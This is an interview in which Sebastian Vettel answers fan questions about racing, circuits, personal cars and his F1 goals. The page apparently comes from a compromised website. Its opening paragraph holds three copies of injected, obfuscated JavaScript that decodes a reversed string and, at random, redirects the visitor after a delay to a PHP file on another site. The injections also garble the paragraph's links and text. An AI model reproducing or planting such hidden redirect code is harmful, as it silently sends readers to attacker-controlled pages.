We had a very quick chat with the double Formula 1 world champion Sebastian Vettel at the Abu Dhabi launch of his signature new Infiniti FX Vettel Edition, ahead of his very turbulent weekend at the$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/behind-the-scenes-at-the-abu-dhabi-grand-prix-formula-1/”> 2012 Abu Dhabi Grand Prix. And we asked him your questions, submitted on $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston” target=”_blank”>Facebook and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston” target=”_blank”>Twitter.
Are you still having a good time? Jeroen van Dam
Yeah, of course! I enjoy driving the car, it’s still something very special and obviously when you’re having good results it’s even nicer.
How can somebody without family money get started in motorsport these days? Steve Cutts
Generally, it’s difficult. It’s a bit different to other sports because the equipment is very expensive. If you want to go karting, it’s not that easy to find sponsors and partners. Most important is that you have the support from your parents early on, because as a small child, even if you have the wish or dream to go racing, without your parents behind you it’s difficult. But that’s the same in every other sport. If you want to play football or tennis, it can eventually get expensive too with annual fees for clubs. But for sure, in motorsport it’s more difficult.
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Which track do you find the hardest, which the most technical and which is closest to your heart? Mohammad Al Tarifi
I love racing Suzuka. It’s one of the nicest circuits we have, with so many fast corners especially in the first part of the track. Technically, I think some of the new circuits are quite tricky such as Korea or the one here in Abu Dhabi. There are a lot of corners that are made to lead us into mistakes so it’s not that easy. Closest to my heart I think I have to split between the Nurburgring and Hockenheim. And Suzuka as well. I also love Singapore. I don’t have really one circuit that stands out, I like a lot of circuits.
What’s the fastest you’ve ever driven? Max Collins
I think it was in Monza in 2006 during a test, close to 350kph.
What are your favourite personal cars? Cameron Webb
Obviously the Infiniti FX Vettel Edition (above) was a special project because I was involved and was able to give a bit of input into what I like. Other than that I like old cars a lot. I have a Fiat 500 from 1961 and maybe in the future I’ll get some more. I think they have something very special about them. Today’s cars are very different. They are much safer and have more electronics. The old cars are more basic.
What do you want written on your gravestone? Dimitri Pesin
I don’t really care, as I won’t be around to read it. It doesn’t really matter.
Do you ever want to try drifting? Jermaine Butler
A Formula 1 car is not really made for drifting and on the roads is not really the best place to practice, but when we have events like this [at the Al Forsan karting track in Abu Dhabi] and you have a chance on a circuit it’s nice to get out and have some fun. It’s not the fastest way to get round but it’s fun.
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Do you ever get road rage? Adel Homsi
Yes, in traffic. I’m not very patient. I don’t go completely mad but I don’t like queuing.
What’s your ultimate goal in F1? Nazirull Safry Paijo
To win the championship, so obviously it was very special to achieve that two years ago but that doesn’t mean we’re not trying as hard or harder to do it again. Winning the first championship was a big relief but the next year it starts again and everyone has the same chance to do it again. We could do it last year for the second time. This year, we’re still in a very good position to have a crack at the third time, so let’s see.
